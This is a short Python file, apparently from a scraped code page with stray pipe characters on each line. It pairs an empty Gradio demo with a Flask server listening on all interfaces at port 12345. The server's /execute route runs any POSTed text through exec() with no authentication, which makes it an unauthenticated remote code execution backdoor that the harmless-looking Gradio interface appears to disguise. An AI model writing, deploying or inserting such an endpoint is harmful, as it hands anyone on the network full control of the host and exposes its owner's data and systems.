|
from flask import Flask, request |
|
import socket |
|
import multiprocessing |
|
|
|
app = Flask(__name__) |
|
|
|
@app.route('/execute', methods=['POST']) |
|
def execute_code(): |
|
python_code = request.get_data(as_text=True) |
|
|
|
try: |
|
result = exec(python_code) |
|
return str(result) |
|
except Exception as e: |
|
return str(e) |
|
|
|
if __name__ == '__main__': |
|
def startServer(): |
|
hostname = socket.gethostname() |
|
|
|
|
|
ip_address = socket.gethostbyname(hostname) |
|
|
|
|
|
port = 12345 |
|
|
|
|
|
print(f"Server running at http://{ip_address}:{port}/") |
|
app.run(host='0.0.0.0', port=12345) |
|
multiprocessing.Process(target=startServer).start() |
|
def startGradio(): |
|
import gradio as gr |
|
|
|
def greet(name): |
|
return "" |
|
|
|
demo = gr.Interface(fn=greet, inputs="textbox", outputs="textbox") |
|
|
|
demo.launch(share=False) |
|
multiprocessing.Process(target=startGradio).start() |
|
|